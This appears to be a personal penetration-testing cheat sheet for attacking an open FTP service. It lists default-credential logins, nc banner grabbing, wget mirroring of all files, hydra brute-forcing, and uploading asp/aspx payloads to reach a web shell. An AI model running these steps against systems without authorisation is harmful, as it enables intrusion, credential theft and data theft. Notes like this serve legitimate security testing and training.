When I see FTP Port Open:
Try FTP Default creds - anonymous:anonymous / admin:admin
anonymous:anonymous
admin:admin
Once you log in, type passive and binary for file transfer modes
passive
binary
If anonymous login -> create a payload, upload and try visit <IP>/exploit.asp
FTP Login: ftp <username>@<IP>
ftp <username>@<IP>
Banner Grabbing: nc -nv <IP> 21
nc -nv <IP> 21
Grab Cert: openssl s_client -connect <IP>:21 -starttls ftp
openssl s_client -connect <IP>:21 -starttls ftp
Download all the files in share: wget -m ftp://anonymous:anon@<IP>
wget -m ftp://anonymous:anon@<IP>
Download all: wget -m --no-passive ftp://:@<IP>
wget -m --no-passive ftp://:@<IP>
Different port: ftp <IP> -P 3084
ftp <IP> -P 3084
Bruteforce: hydra [-L <users.txt> or -l <user_name>] [-P <pass.txt> or -p ] -f [-S port] ftp://<IP>
hydra [-L <users.txt> or -l <user_name>] [-P <pass.txt> or -p ] -f [-S port] ftp://<IP>
If it's a Microsoft server -> Try asp, aspx payloads. Try staged/stageless, x32/x64 payloads.
Check if we can overwrite stuff and upload files to make it work. Look at the permissions.
Look for hidden files, go back to a directory if you find anything, and look for creds in DB Files.
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